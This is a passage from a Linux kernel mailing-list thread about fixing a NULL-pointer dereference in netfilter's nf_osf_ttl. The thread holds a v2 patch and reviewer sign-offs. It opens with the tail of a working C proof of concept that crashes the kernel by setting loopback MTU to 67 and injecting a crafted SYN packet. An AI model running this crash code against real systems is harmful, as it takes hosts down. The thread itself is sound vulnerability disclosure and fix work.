        e->next_offset   = ENTRY0_SIZE;

        struct xt_entry_match *m = (struct xt_entry_match *)(entries + off0 + SIZEOF_IPT_ENTRY);
        memset(m, 0, SIZEOF_MATCH_OSF);
        m->u.user.match_size = SIZEOF_MATCH_OSF;
        strncpy(m->u.user.name, "osf", XT_EXTENSION_MAXNAMELEN);
        m->u.user.revision = 0;

        struct nf_osf_info *osf = (struct nf_osf_info *)m->data;
        memset(osf, 0, sizeof(*osf));
        strncpy(osf->genre, "Linux", MAXGENRELEN);
        osf->flags = NF_OSF_GENRE | NF_OSF_TTL_FLAG;
        osf->ttl   = NF_OSF_TTL_LESS;

        struct xt_standard_target *t = (struct xt_standard_target *)
            (entries + off0 + e->target_offset);
        memset(t, 0, SIZEOF_STD_TARGET);
        t->target.u.user.target_size = SIZEOF_STD_TARGET;
        t->verdict = -NF_ACCEPT - 1;
    }

    /* Entry 1: PREROUTING policy (underflow) */
    {
        struct ipt_entry *e = (struct ipt_entry *)(entries + off1);
        memset(e, 0, SIZEOF_IPT_ENTRY);
        e->target_offset = SIZEOF_IPT_ENTRY;
        e->next_offset   = ENTRY1_SIZE;

        struct xt_standard_target *t = (struct xt_standard_target *)
            (entries + off1 + SIZEOF_IPT_ENTRY);
        memset(t, 0, SIZEOF_STD_TARGET);
        t->target.u.user.target_size = SIZEOF_STD_TARGET;
        t->verdict = -NF_ACCEPT - 1;
    }

    /* Entry 2: OUTPUT policy (underflow) */
    {
        struct ipt_entry *e = (struct ipt_entry *)(entries + off2);
        memset(e, 0, SIZEOF_IPT_ENTRY);
        e->target_offset = SIZEOF_IPT_ENTRY;
        e->next_offset   = ENTRY2_SIZE;

        struct xt_standard_target *t = (struct xt_standard_target *)
            (entries + off2 + SIZEOF_IPT_ENTRY);
        memset(t, 0, SIZEOF_STD_TARGET);
        t->target.u.user.target_size = SIZEOF_STD_TARGET;
        t->verdict = -NF_ACCEPT - 1;
    }

    /* Entry 3: ERROR target */
    {
        struct ipt_entry *e = (struct ipt_entry *)(entries + off3);
        memset(e, 0, SIZEOF_IPT_ENTRY);
        e->target_offset = SIZEOF_IPT_ENTRY;
        e->next_offset   = ENTRY3_SIZE;

        struct xt_error_target *t = (struct xt_error_target *)
            (entries + off3 + SIZEOF_IPT_ENTRY);
        memset(t, 0, SIZEOF_ERR_TARGET);
        t->target.u.user.target_size = SIZEOF_ERR_TARGET;
        strncpy(t->target.u.user.name, "ERROR", XT_EXTENSION_MAXNAMELEN);
        strncpy(t->errorname, "ERROR", XT_FUNCTION_MAXNAMELEN);
    }

    LOG("Replacing raw table: %u entries, %u bytes", repl->num_entries, repl->size);

    if (setsockopt(rawfd, SOL_IP, IPT_SO_SET_REPLACE, blob, repl_size) < 0)
        DIE("setsockopt(IPT_SO_SET_REPLACE): %s (errno=%d)",
            strerror(errno), errno);

    LOG("iptables raw table replaced with OSF match rule");
    free(ctrs);
    free(blob);
    close(rawfd);
}

/* ------------------------------------------------------------------ */
/* Step 3: Destroy lo's in_dev via MTU trick                          */
/* ------------------------------------------------------------------ */

/*
 * loopback driver (loopback.c) uses gen_lo_setup() which does NOT call
 * ether_setup(), so dev->min_mtu stays at the default 0.
 * This allows setting MTU below IPV4_MIN_MTU (68).
 *
 * Setting MTU to 67 triggers:
 *   NETDEV_CHANGEMTU → !inetdev_valid_mtu(67)
 *   → fallthrough → inetdev_destroy(in_dev)
 *   → RCU_INIT_POINTER(dev->ip_ptr, NULL)
 */
static void setup_loopback(void)
{
    int sfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sfd < 0) DIE("socket(DGRAM): %s", strerror(errno));

    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
    ifr.ifr_mtu = 67;
    if (ioctl(sfd, SIOCSIFMTU, &ifr) < 0)
        DIE("ioctl(SIOCSIFMTU lo 67): %s", strerror(errno));
    close(sfd);
    LOG("lo: MTU set to 67 → inetdev_destroy → ip_ptr = NULL");
}

/* ------------------------------------------------------------------ */
/* Step 4: Inject crafted SYN packet via AF_PACKET on lo              */
/* ------------------------------------------------------------------ */

static void inject_syn(void)
{
    /*
     * lo ifindex is always LOOPBACK_IFINDEX = 1,
     * but we look it up to be safe.
     */
    int sfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sfd < 0) DIE("socket(DGRAM): %s", strerror(errno));
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
    if (ioctl(sfd, SIOCGIFINDEX, &ifr) < 0)
        DIE("SIOCGIFINDEX(lo): %s", strerror(errno));
    int ifindex = ifr.ifr_ifindex;
    close(sfd);
    LOG("lo: ifindex=%d", ifindex);

    int pfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (pfd < 0)
        DIE("socket(AF_PACKET): %s", strerror(errno));

    /*
     * 54-byte Ethernet frame: [14 ETH][20 IP][20 TCP]
     *
     * loopback_xmit() calls eth_type_trans(skb, dev) which:
     *   - Strips ETH header, sets skb->protocol from EtherType
     *   - Sets pkt_type based on DST MAC vs dev MAC
     *   - lo MAC = 00:00:00:00:00:00 → DST=all-zeros → PACKET_HOST
     * Then calls __netif_rx(skb) → RX path → ip_rcv → PREROUTING.
     *
     * IP: TTL=255 > fingerprint TTL(64) → takes TTL_LESS path in nf_osf_ttl
     *     DF=0 → matches fingerprint df=0 → nf_osf_fingers[0]
     *     tot_len=40 → matches fingerprint ss=40
     * TCP: SYN=1, doff=5, no options → matches opt_num=0
     */
    char frame[54];
    memset(frame, 0, sizeof(frame));

    /* Ethernet header: DST=00:00:00:00:00:00 (lo MAC → PACKET_HOST) */
    unsigned char *eth = (unsigned char *)frame;
    /* DST already zero from memset */
    eth[ETH_ALEN + 5] = 0x01;              /* SRC: 00:00:00:00:00:01 */
    eth[12] = (ETH_P_IP >> 8) & 0xff;      /* EtherType: 0x0800 (IPv4) */
    eth[13] = ETH_P_IP & 0xff;

    /* IP header */
    struct iphdr *ip = (struct iphdr *)(frame + ETH_HLEN);
    ip->version  = 4;
    ip->ihl      = 5;
    ip->tot_len  = htons(40);
    ip->id       = htons(0x1234);
    ip->frag_off = 0;                      /* DF=0 */
    ip->ttl      = 255;                    /* > fingerprint TTL 64 */
    ip->protocol = IPPROTO_TCP;
    ip->saddr    = inet_addr("10.0.0.2");
    ip->daddr    = inet_addr("10.0.0.1");
    ip->check    = 0;
    ip->check    = ip_checksum(ip, 20);

    /* TCP header */
    struct tcphdr *tcp = (struct tcphdr *)(frame + ETH_HLEN + 20);
    tcp->source  = htons(12345);
    tcp->dest    = htons(80);
    tcp->seq     = htonl(0xdeadbeef);
    tcp->doff    = 5;                      /* no TCP options */
    tcp->syn     = 1;
    tcp->window  = htons(1024);

    LOG("Injecting SYN via lo: TTL=255, DF=0, tot_len=40, SYN");
    LOG("Crash path: AF_PACKET → loopback_xmit → __netif_rx");
    LOG("  → ip_rcv(lo) → NF_INET_PRE_ROUTING → xt_osf");
    LOG("  → nf_osf_ttl: __in_dev_get_rcu(lo) = NULL → CRASH");

    struct sockaddr_ll sll;
    memset(&sll, 0, sizeof(sll));
    sll.sll_family   = AF_PACKET;
    sll.sll_protocol = htons(ETH_P_IP);
    sll.sll_ifindex  = ifindex;
    sll.sll_halen    = ETH_ALEN;
    /* sll_addr left as zeros (matching lo MAC) */

    ssize_t n = sendto(pfd, frame, sizeof(frame), 0,
                       (struct sockaddr *)&sll, sizeof(sll));
    if (n < 0)
        DIE("sendto(AF_PACKET): %s", strerror(errno));

    LOG("Packet injected (%zd bytes), waiting for kernel crash...", n);
    close(pfd);
}

/* ------------------------------------------------------------------ */
/* main                                                               */
/* ------------------------------------------------------------------ */

int main(void)
{
    LOG("=== nf_osf_ttl() NULL pointer dereference PoC ===");
    LOG("Method: loopback MTU trick (MTU=67 < 68 → inetdev_destroy)");

    /* Step 1: Load OSF fingerprint */
    load_osf_fingerprint();

    /* Step 2: Set up iptables raw table with OSF match */
    setup_iptables_osf();

    /* Step 3: Destroy lo's in_dev by setting MTU < IPV4_MIN_MTU */
    setup_loopback();

    /* Step 4: Inject SYN packet → triggers NULL deref */
    inject_syn();

    /* If we reach here, the bug didn't trigger */
    sleep(3);
    LOG("No crash detected — bug may be patched in this kernel.");

    return 1;
}
```


^ permalink raw reply	[flat|nested] 8+ messages in thread

* Re: [PATCH] netfilter: nfnetlink_osf: fix null-ptr-deref in nf_osf_ttl
  2026-04-14  8:37   ` Kito Xu (veritas501)
@ 2026-04-14  8:55     ` Pablo Neira Ayuso
  0 siblings, 0 replies; 8+ messages in thread
From: Pablo Neira Ayuso @ 2026-04-14  8:55 UTC (permalink / raw)
  To: Kito Xu (veritas501)
  Cc: coreteam, davem, edumazet, ffmancera, fw, horms, kuba,
	linux-kernel, netdev, netfilter-devel, pabeni, phil

On Tue, Apr 14, 2026 at 04:37:02PM +0800, Kito Xu (veritas501) wrote:
> From: Kito Xu <hxzene@gmail.com>
> 
> Hi Pablo,
> 
> On Tue, Apr 14, 2026 at 10:22:06AM +0200, Pablo Neira Ayuso wrote:
> > How could skb->dev be NULL !?
> 
> skb->dev is NOT NULL. The NULL value is `in_dev` returned by
> __in_dev_get_rcu(skb->dev), because dev->ip_ptr is NULL after
> inetdev_destroy().

More detailed report helps.

> > This is run from prerouting, input and forward.
> 
> Correct. The crash path is in PREROUTING on lo.
> 
> > I cannot believe this, I think AI is mocking KASAN splat, if that is
> > the case, I am sorry to say, but it is too bad if you are doing this.
> 
> This is a real bug with a reproducible PoC. I understand the KASAN
> output in my original patch email looked suspicious because it was
> interleaved with the PoC's stderr output (the PoC prints debug lines
> while the kernel oops scrolls by simultaneously). That was a formatting
> mistake on my part.

No need for PoC, just a bit more details is enough.

Thanks for explaining.

^ permalink raw reply	[flat|nested] 8+ messages in thread

* Re: [PATCH] netfilter: nfnetlink_osf: fix null-ptr-deref in nf_osf_ttl
  2026-04-14  7:45 [PATCH] netfilter: nfnetlink_osf: fix null-ptr-deref in nf_osf_ttl Kito Xu (veritas501)
  2026-04-14  8:22 ` Pablo Neira Ayuso
@ 2026-04-14  9:19 ` Pablo Neira Ayuso
  2026-04-14 10:49 ` [PATCH v2] " Kito Xu (veritas501)
  2 siblings, 0 replies; 8+ messages in thread
From: Pablo Neira Ayuso @ 2026-04-14  9:19 UTC (permalink / raw)
  To: Kito Xu (veritas501)
  Cc: Florian Westphal, Phil Sutter, David S. Miller, Eric Dumazet,
	Jakub Kicinski, Paolo Abeni, Simon Horman,
	Fernando Fernandez Mancera, netfilter-devel, coreteam, netdev,
	linux-kernel

On Tue, Apr 14, 2026 at 03:45:56PM +0800, Kito Xu (veritas501) wrote:
> diff --git a/net/netfilter/nfnetlink_osf.c b/net/netfilter/nfnetlink_osf.c
> index d64ce21c7b55..85dbd47dbbd4 100644
> --- a/net/netfilter/nfnetlink_osf.c
> +++ b/net/netfilter/nfnetlink_osf.c
> @@ -43,6 +43,9 @@ static inline int nf_osf_ttl(const struct sk_buff *skb,
>  	else if (ip->ttl <= f_ttl)
>  		return 1;
>  
> +	if (!in_dev)
> +		return 0;
> +

I suggest you add this check a bit earlier:

diff --git a/net/netfilter/nfnetlink_osf.c b/net/netfilter/nfnetlink_osf.c
index 5d15651c74f0..e8069f4e139b 100644
--- a/net/netfilter/nfnetlink_osf.c
+++ b/net/netfilter/nfnetlink_osf.c
@@ -36,6 +36,9 @@ static inline int nf_osf_ttl(const struct sk_buff *skb,
        const struct in_ifaddr *ifa;
        int ret = 0;
 
+       if (!in_dev)
+               return 0;
+
        if (ttl_check == NF_OSF_TTL_TRUE)
                return ip->ttl == f_ttl;
        if (ttl_check == NF_OSF_TTL_NOCHECK)
@@ -43,9 +46,6 @@ static inline int nf_osf_ttl(const struct sk_buff *skb,
        else if (ip->ttl <= f_ttl)
                return 1;
 
-       if (!in_dev)
-               return 0;
-
        in_dev_for_each_ifa_rcu(ifa, in_dev) {
                if (inet_ifa_match(ip->saddr, ifa)) {
                        ret = (ip->ttl == f_ttl);

Thanks!

^ permalink raw reply related	[flat|nested] 8+ messages in thread

* [PATCH v2] netfilter: nfnetlink_osf: fix null-ptr-deref in nf_osf_ttl
  2026-04-14  7:45 [PATCH] netfilter: nfnetlink_osf: fix null-ptr-deref in nf_osf_ttl Kito Xu (veritas501)
  2026-04-14  8:22 ` Pablo Neira Ayuso
  2026-04-14  9:19 ` Pablo Neira Ayuso
@ 2026-04-14 10:49 ` Kito Xu (veritas501)
  2026-04-14 11:14   ` Florian Westphal
  2026-04-14 11:50   ` Fernando Fernandez Mancera
  2 siblings, 2 replies; 8+ messages in thread
From: Kito Xu (veritas501) @ 2026-04-14 10:49 UTC (permalink / raw)
  To: pablo
  Cc: coreteam, davem, edumazet, ffmancera, fw, horms, hxzene, kuba,
	linux-kernel, netdev, netfilter-devel, pabeni, phil

nf_osf_ttl() calls __in_dev_get_rcu(skb->dev) and passes the result
to in_dev_for_each_ifa_rcu() without checking for NULL. When the
receiving device has no IPv4 configuration (ip_ptr is NULL),
__in_dev_get_rcu() returns NULL and in_dev_for_each_ifa_rcu()
dereferences it unconditionally, causing a kernel crash.

This can happen when a packet arrives on a device that has had its
IPv4 configuration removed (e.g., MTU set below IPV4_MIN_MTU causing
inetdev_destroy) or on a device that was never assigned an IPv4
address, while an xt_osf or nft_osf rule with TTL_LESS mode is
active and the packet TTL exceeds the fingerprint TTL.

Add a NULL check for in_dev before using it. When in_dev is NULL,
return 0 (no match) since source-address locality cannot be
determined without IPv4 addresses on the device.

KASAN: null-ptr-deref in range [0x0000000000000010-0x0000000000000017]
RIP: 0010:nf_osf_match_one+0x204/0xa70
Call Trace:
 <IRQ>
 nf_osf_match+0x2f8/0x780
 xt_osf_match_packet+0x11c/0x1f0
 ipt_do_table+0x7fe/0x12b0
 nf_hook_slow+0xac/0x1e0
 ip_rcv+0x123/0x370
 __netif_receive_skb_one_core+0x166/0x1b0
 process_backlog+0x197/0x590
 __napi_poll+0xa1/0x540
 net_rx_action+0x401/0xd80
 handle_softirqs+0x19f/0x610
 </IRQ>

Fixes: a218dc82f0b5 ("netfilter: nft_osf: Add ttl option support")
Suggested-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Kito Xu (veritas501) <hxzene@gmail.com>
---
 net/netfilter/nfnetlink_osf.c | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/net/netfilter/nfnetlink_osf.c b/net/netfilter/nfnetlink_osf.c
index d64ce21c7b55..dd2cbbd449e7 100644
--- a/net/netfilter/nfnetlink_osf.c
+++ b/net/netfilter/nfnetlink_osf.c
@@ -36,6 +36,9 @@ static inline int nf_osf_ttl(const struct sk_buff *skb,
 	const struct in_ifaddr *ifa;
 	int ret = 0;
 
+	if (!in_dev)
+		return 0;
+
 	if (ttl_check == NF_OSF_TTL_TRUE)
 		return ip->ttl == f_ttl;
 	if (ttl_check == NF_OSF_TTL_NOCHECK)
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 8+ messages in thread

* Re: [PATCH v2] netfilter: nfnetlink_osf: fix null-ptr-deref in nf_osf_ttl
  2026-04-14 10:49 ` [PATCH v2] " Kito Xu (veritas501)
@ 2026-04-14 11:14   ` Florian Westphal
  2026-04-14 11:50   ` Fernando Fernandez Mancera
  1 sibling, 0 replies; 8+ messages in thread
From: Florian Westphal @ 2026-04-14 11:14 UTC (permalink / raw)
  To: Kito Xu (veritas501)
  Cc: pablo, coreteam, davem, edumazet, ffmancera, horms, kuba,
	linux-kernel, netdev, netfilter-devel, pabeni, phil

Kito Xu (veritas501) <hxzene@gmail.com> wrote:
> nf_osf_ttl() calls __in_dev_get_rcu(skb->dev) and passes the result
> to in_dev_for_each_ifa_rcu() without checking for NULL. When the
> receiving device has no IPv4 configuration (ip_ptr is NULL),
> __in_dev_get_rcu() returns NULL and in_dev_for_each_ifa_rcu()
> dereferences it unconditionally, causing a kernel crash.
> 
> This can happen when a packet arrives on a device that has had its
> IPv4 configuration removed (e.g., MTU set below IPV4_MIN_MTU causing
> inetdev_destroy) or on a device that was never assigned an IPv4
> address, while an xt_osf or nft_osf rule with TTL_LESS mode is
> active and the packet TTL exceeds the fingerprint TTL.
> 
> Add a NULL check for in_dev before using it. When in_dev is NULL,
> return 0 (no match) since source-address locality cannot be
> determined without IPv4 addresses on the device.
> 
> KASAN: null-ptr-deref in range [0x0000000000000010-0x0000000000000017]
> RIP: 0010:nf_osf_match_one+0x204/0xa70
> Call Trace:
>  <IRQ>
>  nf_osf_match+0x2f8/0x780
>  xt_osf_match_packet+0x11c/0x1f0
>  ipt_do_table+0x7fe/0x12b0
>  nf_hook_slow+0xac/0x1e0
>  ip_rcv+0x123/0x370
>  __netif_receive_skb_one_core+0x166/0x1b0
>  process_backlog+0x197/0x590
>  __napi_poll+0xa1/0x540
>  net_rx_action+0x401/0xd80
>  handle_softirqs+0x19f/0x610
>  </IRQ>
> 
> Fixes: a218dc82f0b5 ("netfilter: nft_osf: Add ttl option support")
> Suggested-by: Pablo Neira Ayuso <pablo@netfilter.org>
> Signed-off-by: Kito Xu (veritas501) <hxzene@gmail.com>

The other __in_dev_get_rcu() callers in netfilter check return value, so:

Reviewed-by: Florian Westphal <fw@strlen.de>

^ permalink raw reply	[flat|nested] 8+ messages in thread

* Re: [PATCH v2] netfilter: nfnetlink_osf: fix null-ptr-deref in nf_osf_ttl
  2026-04-14 10:49 ` [PATCH v2] " Kito Xu (veritas501)
  2026-04-14 11:14   ` Florian Westphal
@ 2026-04-14 11:50   ` Fernando Fernandez Mancera
  1 sibling, 0 replies; 8+ messages in thread
From: Fernando Fernandez Mancera @ 2026-04-14 11:50 UTC (permalink / raw)
  To: Kito Xu (veritas501), pablo
  Cc: coreteam, davem, edumazet, ffmancera, fw, horms, kuba,
	linux-kernel, netdev, netfilter-devel, pabeni, phil

On 4/14/26 12:49 PM, Kito Xu (veritas501) wrote:
> nf_osf_ttl() calls __in_dev_get_rcu(skb->dev) and passes the result
> to in_dev_for_each_ifa_rcu() without checking for NULL. When the
> receiving device has no IPv4 configuration (ip_ptr is NULL),
> __in_dev_get_rcu() returns NULL and in_dev_for_each_ifa_rcu()
> dereferences it unconditionally, causing a kernel crash.
> 
> This can happen when a packet arrives on a device that has had its
> IPv4 configuration removed (e.g., MTU set below IPV4_MIN_MTU causing
> inetdev_destroy) or on a device that was never assigned an IPv4
> address, while an xt_osf or nft_osf rule with TTL_LESS mode is
> active and the packet TTL exceeds the fingerprint TTL.
> 
> Add a NULL check for in_dev before using it. When in_dev is NULL,
> return 0 (no match) since source-address locality cannot be
> determined without IPv4 addresses on the device.
> 
> KASAN: null-ptr-deref in range [0x0000000000000010-0x0000000000000017]
> RIP: 0010:nf_osf_match_one+0x204/0xa70
> Call Trace:
>   <IRQ>
>   nf_osf_match+0x2f8/0x780
>   xt_osf_match_packet+0x11c/0x1f0
>   ipt_do_table+0x7fe/0x12b0
>   nf_hook_slow+0xac/0x1e0
>   ip_rcv+0x123/0x370
>   __netif_receive_skb_one_core+0x166/0x1b0
>   process_backlog+0x197/0x590
>   __napi_poll+0xa1/0x540
>   net_rx_action+0x401/0xd80
>   handle_softirqs+0x19f/0x610
>   </IRQ>
> 
> Fixes: a218dc82f0b5 ("netfilter: nft_osf: Add ttl option support")
> Suggested-by: Pablo Neira Ayuso <pablo@netfilter.org>
> Signed-off-by: Kito Xu (veritas501) <hxzene@gmail.com>

Reviewed-by: Fernando Fernandez Mancera <fmancera@suse.de>

Thanks !

^ permalink raw reply	[flat|nested] 8+ messages in thread

end of thread, other threads:[~2026-04-14 11:50 UTC | newest]

Thread overview: 8+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-04-14  7:45 [PATCH] netfilter: nfnetlink_osf: fix null-ptr-deref in nf_osf_ttl Kito Xu (veritas501)
2026-04-14  8:22 ` Pablo Neira Ayuso
2026-04-14  8:37   ` Kito Xu (veritas501)
2026-04-14  8:55     ` Pablo Neira Ayuso
2026-04-14  9:19 ` Pablo Neira Ayuso
2026-04-14 10:49 ` [PATCH v2] " Kito Xu (veritas501)
2026-04-14 11:14   ` Florian Westphal
2026-04-14 11:50   ` Fernando Fernandez Mancera

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox